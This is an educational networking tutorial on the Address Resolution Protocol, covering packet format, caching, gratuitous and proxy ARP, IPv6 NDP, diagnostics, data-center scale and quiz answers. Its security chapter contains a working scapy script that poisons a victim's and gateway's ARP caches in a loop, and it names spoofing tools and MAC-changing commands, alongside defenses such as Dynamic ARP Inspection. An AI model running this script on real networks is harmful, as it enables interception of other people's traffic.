Python · SQL · Web Dev · Java · AI/ML tracks launching soon — your one platform for all of IT

ARP — Address Resolution Protocol

The glue between Layer 2 and Layer 3 — how every packet finds the MAC address it needs, and why this simple protocol is a persistent security vulnerability.

18–24 min May 2026

// CHAPTER 01

The Missing Link Between IP and Ethernet

// REAL-WORLD SCENARIOYour browser knows it wants to talk to 142.250.182.14 (Google). Your OS creates an IP packet with that destination. But to actually transmit this packet onto the Ethernet cable, it needs to put it inside an Ethernet frame — and an Ethernet frame needs a destination MAC address. IP routing told you the next hop is your gateway at 192.168.1.1. But what is your gateway's MAC address? You've never configured it. Your OS has never been told it. This is ARP's entire job: find the MAC address for an IP address on your local network.

ARP (Address Resolution Protocol, RFC 826, 1982) solves a fundamental problem: IP addresses and MAC addresses exist in separate address spaces. The IP routing system determines where a packet needs to go next. ARP translates that IP address into the hardware address needed to actually deliver the packet on the local segment. Without ARP, IP over Ethernet wouldn't work.

ARP is remarkably simple — only 28 bytes of payload, two message types (Request and Reply), and no authentication whatsoever. That simplicity is both its strength (lightweight, fast, universally compatible) and its primary weakness (trivially exploitable by anyone on the local network).

40 Years Unchanged
ARP was defined in RFC 826 by David Plummer in November 1982 — three pages of specification. It has remained essentially unchanged for 40 years. In those 40 years, it has been the target of more local network attacks than probably any other protocol. The successor for IPv6 is NDP (Neighbor Discovery Protocol), which uses ICMPv6 and adds cryptographic protection — lessons learned from 40 years of ARP attacks.

// CHAPTER 02

The ARP Request/Reply Exchange

ARP uses two message types: ARP Request (broadcast to everyone: "Who has this IP?") and ARP Reply (unicast back to the requester: "I do, and here is my MAC"). The exchange takes one round-trip — one broadcast, one unicast response.

Step by Step

Scenario: PC (192.168.1.50) wants to ping Gateway (192.168.1.1)

STEP 1 — Check ARP cache:
  OS looks up 192.168.1.1 in its ARP table.
  Not found → must send an ARP Request.

STEP 2 — ARP Request (broadcast):
  Ethernet frame:
    Dst MAC: FF:FF:FF:FF:FF:FF (broadcast — all devices receive this)
    Src MAC: AA:BB:CC:DD:EE:01 (PC's MAC)
    EtherType: 0x0806 (ARP)
  ARP payload:
    Operation: 0x0001 (Request)
    Sender MAC: AA:BB:CC:DD:EE:01
    Sender IP: 192.168.1.50
    Target MAC: 00:00:00:00:00:00 (unknown — this is what we want)
    Target IP: 192.168.1.1

  Every device on the local segment receives this frame.
  Only the gateway (192.168.1.1) responds.

STEP 3 — ARP Reply (unicast):
  Ethernet frame:
    Dst MAC: AA:BB:CC:DD:EE:01 (back to the PC, unicast)
    Src MAC: 11:22:33:44:55:66 (Gateway's MAC)
    EtherType: 0x0806
  ARP payload:
    Operation: 0x0002 (Reply)
    Sender MAC: 11:22:33:44:55:66 (Gateway's actual MAC)
    Sender IP: 192.168.1.1
    Target MAC: AA:BB:CC:DD:EE:01
    Target IP: 192.168.1.50

STEP 4 — Cache update:
  PC adds: 192.168.1.1 → 11:22:33:44:55:66 to ARP cache.
  PC can now send the ICMP ping packet inside an Ethernet frame addressed to Gateway's MAC.
  ARP cache entry will expire after ~300s (Linux) or ~600s (Windows).
asks about
ARP CACHE
empty — send an ARP to populate
ARP EVENT LOG
no events yet

// CHAPTER 03

The ARP Packet Format

ARP is one of the simplest protocols in the stack — just 28 bytes of payload (for IPv4/Ethernet). Understanding the exact format lets you read ARP in Wireshark captures and understand protocol subtleties like how ARP works over Wi-Fi vs Ethernet.

Ethernet frame: Dst=FF:FF:FF:FF:FF:FF | Src=AA:BB:CC:DD:EE:01 | EtherType=0x0806 (ARP)
Sender MAC
Sender IP
Target MAC
Target IP
2B
2B
1B
1B
2B
6B
4B
6B
4B
hover over a field to inspect it — total ARP payload: 28 bytes

Gratuitous ARP

A gratuitous ARP is an ARP Request or Reply where the sender IP and target IP are the same — the host is announcing its own IP-to-MAC mapping without being asked. Used for:

1. IP conflict detection:
   Host sends Gratuitous ARP for its own IP before using it.
   If another host replies → IP conflict! (RFC 5227 / ARP probe/announcement)

2. Cluster failover:
   Active node fails → standby node takes over the virtual IP.
   Standby sends Gratuitous ARP: "VIP 10.0.0.50 is now at MAC AA:BB:CC:DD:EE:99"
   All hosts update their ARP cache → traffic flows to the new node immediately.

3. NIC/MAC change:
   Server NIC replaced → new MAC. Gratuitous ARP broadcasts new mapping.
   Without it: all other hosts cache the old MAC → traffic fails until ARP cache expires.

4. VM live migration:
   VM moves to new hypervisor. New hypervisor sends Gratuitous ARP for VM's IP.
   All switches learn new port association. All hosts update ARP cache.

$ arping -I eth0 -c 1 192.168.1.50   # Send Gratuitous ARP (Linux)
  (target IP = sender IP in the ARP payload)

// CHAPTER 04

The ARP Cache: Storing What We Know

The ARP cache (also called the ARP table or neighbor cache) stores recently resolved IP-to-MAC mappings. Without caching, every packet to every destination would require an ARP exchange — a broadcast before each and every frame. With caching, ARP is needed only when communicating with a new neighbor for the first time.

Cache Lifetimes and Entry Types

Linux ARP cache entries:
  REACHABLE: Confirmed working, ~30 seconds (gc_stale_time)
  STALE: Not confirmed recently but still usable; will refresh on next use
  DELAY: Stale, waiting for confirmation before use
  PROBE: Actively sending ARP requests to confirm reachability
  FAILED: ARP requests sent, no response received

$ ip neighbor show
192.168.1.1  dev eth0  lladdr 11:22:33:44:55:66  REACHABLE
192.168.1.50 dev eth0  lladdr aa:bb:cc:dd:ee:01  STALE

Windows ARP cache:
  Dynamic entries: expire after 2 minutes of no traffic (can be up to 10 min)
  Static entries: permanent until manually removed

$ arp -a                        # Windows/macOS: show ARP cache
$ ip neigh show                 # Linux: show neighbor cache (replaces arp -a)
$ ip neigh flush dev eth0       # Linux: flush all ARP entries on eth0
$ arp -d 192.168.1.1            # Delete specific ARP entry (macOS/Windows)

What Happens When ARP Cache Is Empty

When a host wants to send traffic to a local IP not in its ARP cache, it must send an ARP Request before the first packet can be delivered. This adds one round-trip latency (typically 1-5ms on a LAN) to the first packet. For applications that open many connections to different hosts, ARP resolution can be a meaningful overhead — especially in large data centers where any server may need to communicate with any other server.

// CHAPTER 05

ARP in Action: Routing Decisions and ARP

A subtle but critical point: ARP is only used for hosts on the same local subnet. When you send a packet to a host on a different subnet, you don't ARP for the destination IP — you ARP for the gateway's IP. The packet's IP header still contains the final destination, but the Ethernet frame is addressed to the gateway.

ARP Decision Tree

You want to send to 8.8.8.8 (Google DNS, not on your subnet):

  1. Is 8.8.8.8 in my subnet (192.168.1.0/24)?
     → No. 8.8.8.8 is not in range 192.168.1.1-192.168.1.254.
  2. Look up next hop in routing table:
     → Default route: 0.0.0.0/0 via 192.168.1.1 (gateway)
  3. Is 192.168.1.1 in ARP cache?
     → No → send ARP Request for 192.168.1.1
     → Yes → use cached MAC
  4. Build Ethernet frame:
     IP header: Dst = 8.8.8.8 (final destination)
     Ethernet: Dst MAC = 11:22:33:44:55:66 (gateway's MAC)
  5. Gateway receives frame, strips Ethernet header.
     Reads IP destination: 8.8.8.8 → routes to internet.

You want to send to 192.168.1.100 (same subnet):

  1. Is 192.168.1.100 in my subnet? → Yes.
  2. Is 192.168.1.100 in ARP cache?
     → No → ARP Request for 192.168.1.100 (broadcast on local segment)
  3. 192.168.1.100 replies with its MAC.
  4. Build Ethernet frame directly to 192.168.1.100's MAC.
  5. Packet delivered directly without going through gateway.
Wrong default gateway looks like an ARP problemIf a host has the wrong default gateway configured, ARP will still work for local subnet communication, but traffic to other networks will fail. A common diagnostic mistake: pinging a local host works (direct ARP), but pinging 8.8.8.8 fails (can't reach gateway). Check the default gateway: ip route | grep default (Linux) or ipconfig | grep Gateway (Windows).

// CHAPTER 06

Proxy ARP: Responding on Behalf of Others

Proxy ARP (RFC 1027, 1987) allows a router to respond to ARP requests on behalf of a host on a different subnet, making the remote host appear to be local. The router intercepts the broadcast and replies with its own MAC address — traffic sent to that MAC is then routed to the actual destination.

Normal ARP: Only 192.168.1.x hosts can reach 192.168.1.50 directly.

With Proxy ARP enabled on the router:
  Host 192.168.1.50 sends ARP for 10.0.0.5 (different subnet).
  Normally, this would fail (ARP only works on local subnet).
  Router intercepts: "I know how to reach 10.0.0.5"
  Router replies to ARP request with its own MAC address.
  Host sends frames to router's MAC → router routes to 10.0.0.5.

Use case: hosts without a default gateway configured can still reach
  remote hosts via Proxy ARP (legacy configuration, not recommended).

Modern use: VPN concentrators use Proxy ARP to make VPN clients
  appear local to the corporate network — the VPN gateway responds
  to ARP for VPN client IPs.

Risks:
  Proxy ARP enlarges broadcast domains, causes ARP cache to be full of
  router MACs, and can mask misconfigurations (hosts without default GW
  "work" via Proxy ARP but are poorly configured).
  Disable on modern networks: "no ip proxy-arp" on Cisco interfaces.

// CHAPTER 07

ARP Security: Attacks and Defenses

ARP has no authentication. Any host on the local segment can send an ARP Reply claiming to own any IP address. The receiving host will update its ARP cache without verification. This is called ARP spoofing or ARP poisoning and is one of the most common local network attacks.

Legitimate ARP Cache State

All hosts have correct IP→MAC mappings in their ARP caches. PC sends traffic to Gateway via Gateway's real MAC. No interception occurs.

PC's ARP Cache
192.168.1.111:22:33:44:55:66
192.168.1.100FF:EE:DD:CC:BB:AA
Gateway's ARP Cache
192.168.1.50AA:BB:CC:DD:EE:01
192.168.1.100FF:EE:DD:CC:BB:AA
✓ SECURE:PC → Gateway (11:22:33...) → Internet

ARP Spoofing Attack in Detail

Attack tool: arpspoof (dsniff), ettercap, scapy, bettercap

# Classic ARP poisoning with scapy:
from scapy.all import *

gateway_ip = "192.168.1.1"
gateway_mac = "11:22:33:44:55:66"
victim_ip = "192.168.1.50"
attacker_mac = "AA:AA:AA:AA:AA:AA"

# Poison victim: tell them the gateway's MAC is ours
arp_poison_victim = ARP(
    op=2,           # Reply
    pdst=victim_ip,
    hwdst="ff:ff:ff:ff:ff:ff",  # or victim's actual MAC
    psrc=gateway_ip,
    hwsrc=attacker_mac,
)
# Poison gateway: tell them the victim's MAC is ours
arp_poison_gateway = ARP(
    op=2,
    pdst=gateway_ip,
    hwdst=gateway_mac,
    psrc=victim_ip,
    hwsrc=attacker_mac,
)
# Must send continuously (every 2s) or ARP cache expires and real MACs are re-learned
while True:
    send(arp_poison_victim, verbose=0)
    send(arp_poison_gateway, verbose=0)
    time.sleep(2)

Defenses Against ARP Attacks

1. Dynamic ARP Inspection (DAI) — on managed switches:
   Switch intercepts all ARP frames before forwarding.
   Validates Src IP + Src MAC against DHCP snooping binding table.
   Invalid ARP → drop. Valid ARP → forward normally.
   Config (Cisco):
     ip dhcp snooping
     ip dhcp snooping vlan 10
     ip arp inspection vlan 10
     interface Gi0/1       ← access port (untrusted)
       ip arp inspection limit rate 100
     interface Gi0/24      ← uplink (trusted)
       ip arp inspection trust

2. Static ARP entries (for critical infrastructure):
   $ arp -s 192.168.1.1 11:22:33:44:55:66     # Linux
   $ netsh interface ipv4 set neighbors "Ethernet" 192.168.1.1 11-22-33-44-55-66  # Windows
   Attacker's ARP replies cannot overwrite static entries.
   Operationally difficult at scale — use DAI instead.

3. 802.1X port authentication:
   Unauthenticated devices cannot send frames at all → no ARP poisoning possible.
   Strongest defense, highest operational overhead.

4. VLANs:
   Segment network so attacker cannot reach victim's broadcast domain.
   ARP is link-local — VLANs are impermeable to ARP.

5. Encrypted transport (TLS/HTTPS):
   Even if attacker intercepts traffic via ARP poisoning, encrypted content is unreadable.
   HTTPS + HSTS + certificate pinning renders MITM attacks useless for web traffic.

// CHAPTER 08

NDP: ARP's IPv6 Replacement

IPv6 doesn't use ARP. Instead, it uses NDP (Neighbor Discovery Protocol, RFC 4861), which runs over ICMPv6. NDP is significantly more capable and secure than ARP — it was designed with 40 years of ARP's known weaknesses in mind.

ARP (IPv4) vs NDP (IPv6) comparison:

Function               ARP                    NDP
───────────────────────────────────────────────────────────────────────
Address resolution     ARP Request/Reply      ICMPv6 Neighbor Solicitation/Advertisement
Router discovery       ICMP Router Discovery  ICMPv6 Router Solicitation/Advertisement
IP config              DHCP (separate)        SLAAC (Stateless Address Autoconfiguration)
Duplicate detection    Gratuitous ARP (basic) Duplicate Address Detection (DAD, robust)
Prefix discovery       None (need static GW)  Router Advertisement carries prefix info
Redirect               ICMP Redirect          NDP Redirect
Security               None                   SEcure Neighbor Discovery (SEND, RFC 3971)

NDP uses multicast instead of broadcast:
  NDP Solicitation sent to ff02::1:ff/104 (solicited-node multicast)
  → Only hosts whose last 24 bits of IPv6 address match receive it
  → Much lower broadcast overhead vs ARP's broadcast to all hosts

$ ip -6 neighbor show   # Linux: show IPv6 neighbor cache
$ ip -6 neigh flush dev eth0  # Flush IPv6 neighbor cache
🔐SEcure Neighbor Discovery (SEND)
SEcure Neighbor Discovery (SEND, RFC 3971) adds cryptographic signatures to NDP messages using Cryptographically Generated Addresses (CGAs). A CGA ties the IPv6 address to a public key — only the holder of the private key can claim that address. NDP spoofing becomes computationally infeasible. SEND deployment is limited in practice (complexity, no wide vendor support), but it represents what ARP should have been from the start.

// CHAPTER 09

ARP in Different Scenarios

ARP Over Wi-Fi

Wi-Fi at Layer 2 looks identical to Ethernet from the ARP perspective — same MAC address format, same broadcast mechanism. The access point forwards the ARP broadcast to all associated clients. ARP probing and conflict detection work the same way. The only difference: Wi-Fi has higher latency and may have IGMP/ARP proxy optimizations to reduce broadcast overhead.

ARP in VLANs

ARP broadcasts are confined to a VLAN. A host in VLAN 10 cannot ARP for a host in VLAN 20 — even if they're on the same physical switch. To communicate across VLANs, traffic must be routed by a Layer 3 device (router or Layer 3 switch). The router has an interface in each VLAN and ARPs separately on each VLAN segment.

ARP in Virtual Environments

Hypervisor ARP handling:
  Virtual NICs have unique MAC addresses allocated by the hypervisor (OUI: 52:54:00 for KVM).
  ARP works normally between VMs on the same host (via virtual switch, no physical network).
  Live migration: VM moves to new host → new physical NIC. Hypervisor sends Gratuitous ARP.

  Issues:
  - "ARP storm": hundreds of VMs starting simultaneously all send Gratuitous ARPs
  - ARP suppression in overlay networks (VXLAN): tunnel gateway responds to ARP locally
    rather than flooding the physical underlay network

VXLAN ARP suppression:
  Traditional VXLAN floods ARP requests to ALL VXLAN tunnel endpoints (VTEPs).
  ARP suppression: VTEP caches IP→MAC mappings from control plane (BGP EVPN).
  When a VM ARPs, the local VTEP responds directly — no flood.
  Eliminates broadcast storms at VXLAN scale (100,000+ VMs).
  Cisco ACI, Cumulus VX, VMware NSX all use ARP suppression.

// CHAPTER 10

Diagnosing ARP Problems

ARP failures cause connectivity issues that are confusing because ping fails but the physical connection is fine. Systematic ARP debugging gets to the answer quickly.

ARP Diagnostic Toolkit

# Check ARP cache
arp -a                          # Windows/macOS
ip neigh show                   # Linux (modern)
ip neigh show dev eth0          # Linux: specific interface

# Test ARP directly
arping -I eth0 192.168.1.1      # Send ARP request, show response
arping -I eth0 -c 3 192.168.1.1 # Send 3 ARP requests

# Capture ARP traffic in Wireshark
Capture filter: arp
Display filter: arp.opcode == 1   (requests only)
Display filter: arp.opcode == 2   (replies only)
Display filter: arp.src.hw_mac == aa:bb:cc:dd:ee:ff  (from specific MAC)

# View ARP in tcpdump
tcpdump -n -e arp                # ARP with MAC addresses
tcpdump -n -e 'arp and host 192.168.1.1'  # ARP for specific IP

# Common failure symptoms:
1. ping fails to local host → check ARP
   ip neigh show | grep 192.168.1.100
   → If "FAILED": ARP requests sent, no reply → host is down or unreachable
   → If missing: ARP not attempted → check routing table

2. Connectivity drops periodically (~5 min intervals)
   → ARP cache expiring, ARP renewal fails
   → Intermittent physical issue causing ARP packets to be lost

3. Traffic going to wrong host
   → ARP poisoning in progress: check for multiple IPs claiming same MAC
   arp -a | grep -v incomplete | awk '{print $4}' | sort | uniq -d
   → Duplicate MAC = ARP spoofing or misconfigured VMs

4. IP conflict warning
   → Two hosts respond to ARP for same IP
   → Run Gratuitous ARP and watch who else responds:
   arping -I eth0 -c 5 192.168.1.50 2>&1 | grep -i "Unicast reply"

// CHAPTER 11

ARP at Scale: Cloud and Data Center Challenges

In small networks (< 100 hosts), ARP is invisible — it works in microseconds, consumes negligible bandwidth, and never needs attention. In large cloud deployments (100,000+ VMs), ARP becomes a critical scalability bottleneck.

The Scale Problem

Small LAN: 50 hosts
  ARP broadcast reaches 50 hosts.
  50 devices each process the ARP request.
  One ARP per new destination — negligible overhead.

Cloud data center: 100,000 VMs in one flat L2 domain (bad design):
  One VM ARPs → 100,000 VMs wake up to process the broadcast.
  Each VM doing 100 connections/minute → 100,000 × 100 ARP requests/min
  = 10,000,000 ARP broadcasts per minute
  Every VM's CPU interrupted 10M times/minute just for ARP processing.
  Network saturated with ARP broadcast traffic.

Solutions for large scale:
  1. VLAN segmentation: keep broadcast domains < 500 hosts
  2. Overlay networks (VXLAN, GENEVE): ARP suppression via BGP EVPN
  3. Software-defined networking: controller responds to ARP queries directly
  4. IPv6: NDP uses solicited-node multicast (targets only relevant hosts)

// CHAPTER 12

ARP in Unusual Situations

ARP on Point-to-Point Links

On a /30 or /31 subnet (point-to-point link between two routers), ARP is still used. The two routers ARP for each other's IP on the link. Some point-to-point protocols (PPP, HDLC) don't use ARP at all — they assume the only host on the link is the connected device and hardcode the neighbor. On Ethernet point-to-point links, ARP still runs and is fine with just 2 hosts.

ARP for High Availability (Floating IP / VIP)

Load balancers and HA systems use virtual IPs (VIPs) — a shared IP that floats between physical servers. When the active node fails, the standby takes over the VIP and sends a Gratuitous ARP to update all ARP caches. Properly done, failover completes in under 1 second. Improperly done (ARP cache TTL too long, or Gratuitous ARP blocked by switch ACLs), failover takes minutes while ARP caches expire naturally.

ARP and VRRP/HSRP

VRRP (Virtual Router Redundancy Protocol, RFC 5798) and HSRP (Hot Standby Router Protocol, Cisco) allow multiple routers to share a virtual IP as the default gateway. One is "master" (or active), the others are standby. The virtual IP is associated with a virtual MAC address (e.g., VRRP uses00:00:5E:00:01:XX where XX is the VRRP group number). Hosts ARP for the VIP and receive the virtual MAC. When the master fails, the new master takes over the virtual MAC — no ARP update needed by hosts.

// CHAPTER 13

Common Misconceptions

✗ Common Mistake — ARP is only used at startup"ARP is only used when a host first joins the network."

ARP is used continuously. Every time a host sends traffic to a new IP on its subnet, or to its gateway for traffic to remote destinations, it checks the ARP cache and sends a new ARP Request if the entry is missing or expired. ARP cache entries expire after 300 seconds (Linux) or up to 10 minutes (Windows). A host with many connections to many different IPs sends ARP requests regularly throughout its operation.
✗ Common Mistake — ARP works across routers"ARP works across routers — you can ARP for any IP on the internet."

ARP is strictly local — it uses Ethernet broadcast, which routers do not forward. ARP can only resolve IP-to-MAC mappings for hosts on the same local subnet. When you send traffic to 8.8.8.8, you ARP for your gateway's IP (192.168.1.1), not for 8.8.8.8 directly. The gateway then ARPs for the next hop on its own subnet. Each subnet does its own ARP independently.
✗ Common Mistake — ARP poisoning requires special tools or skill"ARP poisoning requires special hacking tools and skill."

ARP poisoning requires sending crafted UDP/Ethernet frames — something any host on the network can do with basic tools. Tools like arpspoof, ettercap, and scapymake it trivially easy. A few lines of Python with scapy can perform ARP poisoning. This is why ARP poisoning is effective against unsuspecting users on shared networks (coffee shops, hotels) and why network-level defenses (DAI, 802.1X) are important for protecting such environments.
✗ Common Mistake — MAC addresses are harder to spoof than IP addresses"MAC addresses are harder to spoof than IP addresses."

Both are trivially spoofable in software. On Linux: ip link set eth0 address AA:BB:CC:DD:EE:FF. On macOS: sudo ifconfig en0 ether AA:BB:CC:DD:EE:FF. On Windows: change in Device Manager or via registry. ARP poisoning combines MAC spoofing with ARP reply injection. Neither IP addresses nor MAC addresses are reliable authentication mechanisms — both are trivially changeable by any user with system-level access.
✗ Common Mistake — HTTPS fully prevents ARP poisoning attacks"If you use HTTPS, ARP poisoning can't hurt you."

HTTPS protects the content of your communication. ARP poisoning is a network-level attack that intercepts all traffic including HTTPS. However, the attacker sees only ciphertext — they cannot read the content. The real risk of ARP poisoning + HTTPS is: (1) SSL stripping (attacker downgrades HTTPS to HTTP using a proxy) — mitigated by HSTS. (2) Certificate forgery (attacker presents a fake cert) — mitigated by HSTS preload and certificate pinning. HTTPS significantly reduces the impact of ARP poisoning, but doesn't prevent the interception itself.
✗ Common Mistake — ARP is the same as DNS"ARP is the same as DNS."

ARP resolves IP addresses to MAC addresses on a local network segment. DNS resolves domain names to IP addresses across the internet. They operate at completely different layers, with completely different mechanisms. ARP is Layer 2, DNS is Layer 7. ARP uses broadcasts, DNS uses unicast UDP/TCP. ARP is automatic and implicit; DNS is explicitly queried by applications. ARP is local-only; DNS crosses network boundaries. A computer uses DNS first (to find the IP), then ARP (to find the MAC).

// CHAPTER 14

Test Your Understanding

Beginner
You try to ping 192.168.1.100 but get 'no reply.' How do you determine whether this is an ARP problem or an IP routing problem?
Use arping -I eth0 192.168.1.100 to send an ARP request directly. If arping gets a reply, ARP works but the host is not responding to ICMP ping (possibly firewall). If arping gets no reply, the host is either down, on a different subnet, or not reachable at Layer 2. Check the ARP cache:ip neigh show | grep 192.168.1.100 — if it shows "FAILED," ARP requests were sent with no response. Verify the target is on the same subnet as your interface.
Beginner
Why does your browser need to know the gateway's MAC address to load a webpage from Google?
To load a webpage from Google (e.g., 142.250.182.14), your computer creates an IP packet destined for 142.250.182.14. To put this packet on the Ethernet cable, it needs an Ethernet frame with a destination MAC address. Since Google's server is not on your local subnet, your computer consults its routing table and finds the default route via your gateway (192.168.1.1). It then ARPs for the gateway's MAC address. The Ethernet frame destination MAC = gateway's MAC, but the IP destination = 142.250.182.14. The gateway receives the frame, strips the Ethernet header, reads the IP destination, and routes it toward Google through the internet.
Intermediate
Explain Gratuitous ARP and give three real production scenarios where it is essential for correct operation.
Gratuitous ARP: a host sends an ARP Reply (or Request) where the sender IP = target IP — announcing its own IP-to-MAC mapping without being asked. Scenarios: (1) IP conflict detection: before using an IP, a host sends Gratuitous ARP. If another host replies, there's a conflict — the client displays an error and doesn't use the IP (required by RFC 5227 for DHCP clients). (2) Failover/High Availability: a load balancer or VRRP standby node becomes active and takes over a virtual IP. It sends Gratuitous ARP so all hosts immediately update their ARP cache — without this, hosts continue sending to the failed node's MAC until ARP expires. (3) VM live migration: a VM moves to a new hypervisor host. The new host sends Gratuitous ARP for the VM's IP, so all hosts and switches learn the new location. Without it, traffic would continue reaching the old physical port until ARP ages out (~5 minutes of downtime).
Intermediate
How does Dynamic ARP Inspection (DAI) prevent ARP poisoning, and what is its dependency on DHCP snooping?
DAI intercepts all ARP packets on untrusted ports and validates them against a DHCP snooping binding table before forwarding. The binding table contains {IP → MAC → port → VLAN} mappings for every host that received an IP via DHCP. When an ARP arrives: (1) Switch extracts Sender IP and Sender MAC from the ARP payload. (2) Looks up Sender IP in binding table. (3) If Sender MAC matches binding table → ARP is legitimate → forward. (4) If Sender MAC doesn't match → ARP is spoofed → drop + log. DHCP snooping is the dependency: it intercepts DHCP exchanges to build the binding table. Without DHCP snooping running first, DAI has no reference data. Hosts with static IP assignments need manual DAI entries: ip arp inspection filter arp-acl vlan 10 with a static ARP ACL listing the static IP-MAC pairs.
Senior
In a VXLAN overlay network with 50,000 VMs, explain how BGP EVPN + ARP suppression prevents broadcast storms.
Without ARP suppression: when any of 50,000 VMs ARPs for another VM, the ARP broadcast is encapsulated in VXLAN and flooded to all 200 VTEPs (Virtual Tunnel Endpoints). Each VTEP decapsulates and delivers to all local VMs in that VNI. 50,000 VMs × average 100 ARPs/minute = 5,000,000 broadcasts/minute, each reaching all 200 VTEPs and all local VMs — massive overhead.

With BGP EVPN + ARP suppression: BGP EVPN is a control plane for overlay networks. VTEPs advertise their local VMs' IP-MAC-VNI bindings to all other VTEPs via BGP Type-2 routes (MAC/IP Advertisement). Each VTEP builds a local ARP suppression table. When a local VM ARPs, the VTEP checks its table: if the target IP is known, the VTEP sends the ARP reply locally (acting as ARP proxy) — no flood required. If unknown, a limited VTEP-to-VTEP unicast query is sent to the VTEP that advertised that IP. Broadcast floods are eliminated or drastically reduced.

Result: 50,000-VM fabric with near-zero ARP broadcast overhead. Control plane complexity (BGP configuration) increases, but data plane performance and scale improve dramatically. This is why Cisco ACI, VMware NSX, Cumulus, and AWS all use BGP EVPN with ARP suppression.
Senior
Describe how VRRP uses a virtual MAC address to achieve seamless gateway redundancy without requiring ARP updates from hosts.
VRRP (RFC 5798) assigns a virtual IP (VIP) as the default gateway for hosts. Multiple routers participate in a VRRP group, one of which is elected Master. VRRP creates a virtual MAC address:00:00:5E:00:01:GG where GG is the VRRP group number in hex. This virtual MAC is "owned" by whichever router is the Master at any given moment.

The key insight: hosts ARP for the VIP (e.g., 192.168.1.254) and receive the virtual MAC (e.g., 00:00:5E:00:01:01). They cache this mapping. When the Master router fails, the Backup router detects the failure (no VRRP advertisements) and transitions to Master. It takes over the VIP and the virtual MAC — it programs the virtual MAC into its own NIC. Switch CAM tables update immediately (the switch sees the virtual MAC arriving from a different port). Hosts don't need new ARP at all — their cache still maps VIP → virtual MAC → (new) Master. Only the switch CAM table entry updates, which happens within milliseconds of the first frame. Typical VRRP failover time: 1-3 seconds (one missed advertisement + switch learning).
PhD
Analyze why ARP's lack of authentication is a fundamental protocol design failure, and evaluate the tradeoffs of the proposed solutions (SEND, DAI, static ARP) from a systems perspective.
ARP was designed in 1982 for a trusted academic network. The design assumption: all hosts on the network are cooperative. Gratuitous ARPs and unsolicited replies are accepted and cached because in the original context, sending a Gratuitous ARP was a helpful host announcing its presence — why would it lie? This assumption fails completely in any multi-tenant environment.

The fundamental flaw: ARP couples address binding with network trust. Any host can claim any IP-MAC binding without proof. This violates the principle of least privilege — ARP announcements should only be accepted if the source is authorized to own the claimed IP.

Proposed solutions and their tradeoffs:

(1) Static ARP: manually configure every IP-MAC binding. Provides perfect security (no dynamic learning). Operationally catastrophic at scale — every device addition/replacement requires manual updates on every other host. O(N²) configuration complexity. Breaks DHCP, live migration, and any dynamic IP assignment. Only practical for a handful of critical servers.

(2) Dynamic ARP Inspection: offloads trust decisions to the switch, using DHCP as the authorization mechanism. Works well in practice, widely deployed. Fundamental weakness: trust anchor is DHCP, which is also unauthenticated. A malicious DHCP server can poison the binding table. Requires managed switches (capital expense), doesn't protect against attacks from trusted ports.

(3) SEND (RFC 3971): cryptographic signatures on NDP (IPv6 equivalent). Each host generates a public/private key pair and derives a Cryptographically Generated Address (CGA) from the public key. NDP messages signed with private key; recipients verify signature. Mathematically sound — forging an ARP-equivalent requires breaking the public key system. Deployment failure: requires every host to run SEND and verify signatures. No operating system shipped SEND support by default. Certificate infrastructure (who is the CA for layer-2 claims?) is undefined in practice. IKEv2 for IPSec took a decade to deploy; SEND requires layer-2 PKI which is arguably harder.

(4) IPv6 NDP with SEcure Neighbor Discovery: the intended replacement. But IPv6 transition itself took 20+ years. Moving the security timeline another 10 years.

The pragmatic engineering answer: DAI + 802.1X + network segmentation is the real-world solution. Not architecturally clean, but deployable with existing hardware. SEND/cryptographic ARP remains an academic exercise — a correct solution to a problem the ecosystem won't prioritize fixing at the root.

🎯 Key Takeaways

  • ARP (RFC 826, 1982) resolves IP addresses to MAC addresses on a local network segment. Without ARP, IP over Ethernet cannot work.
  • ARP Request is a broadcast (FF:FF:FF:FF:FF:FF) asking "Who has IP X?" ARP Reply is a unicast: "I do, my MAC is Y." 28 bytes total payload.
  • ARP is strictly local — it only works within a subnet. Traffic to remote IPs ARPs for the gateway's MAC, not the final destination.
  • ARP cache stores recent IP→MAC mappings. Entries expire in ~300s (Linux) to ~10 minutes (Windows). Expired = ARP request before next packet.
  • Gratuitous ARP: host announces its own IP→MAC mapping. Used for IP conflict detection, failover, and VM migration.
  • ARP has no authentication. Any host can send fake ARP Replies claiming any IP→MAC mapping. This is ARP poisoning/spoofing.
  • Dynamic ARP Inspection (DAI) on managed switches validates ARP against DHCP snooping binding table. Blocks poisoning attacks.
  • IPv6 replaces ARP with NDP (Neighbor Discovery Protocol) over ICMPv6. NDP adds router discovery, SLAAC, and duplicate address detection.
  • VRRP/HSRP use virtual MAC addresses (00:00:5E:00:01:XX) so gateway failover requires no ARP update from hosts.
  • At cloud scale (100,000+ VMs), ARP broadcasts create performance problems. BGP EVPN + ARP suppression eliminates floods via control-plane IP-MAC distribution.
Share

Discussion

0

Have a better approach? Found something outdated? Share it — your knowledge helps everyone learning here.

Continue with GitHub
Loading...